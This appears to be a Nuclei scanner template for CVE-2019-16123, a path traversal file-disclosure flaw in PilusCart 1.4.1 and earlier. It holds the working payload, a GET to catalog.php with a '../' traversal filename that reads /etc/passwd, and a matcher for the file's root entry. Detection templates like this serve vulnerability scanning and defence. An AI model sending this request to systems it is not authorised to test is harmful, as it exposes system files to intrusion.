id: CVE-2019-16123 info: name: PilusCart <= 1.4.1 - Arbitrary File Retrieval author: 0x_Akoko severity: high description: PilusCart versions 1.4.1 and below suffers from a file disclosure vulnerability. reference: - https://packetstormsecurity.com/files/154250/PilusCart-1.4.1-Local-File-Disclosure.html - https://www.cvedetails.com/cve/CVE-2019-16123 - https://www.exploit-db.com/exploits/47315 - https://zerodays.lol/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2019-16123 cwe-id: CWE-22 tags: cve,cve2019,piluscart,lfi requests: - method: GET path: - "{{BaseURL}}/catalog.php?filename=../../../../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200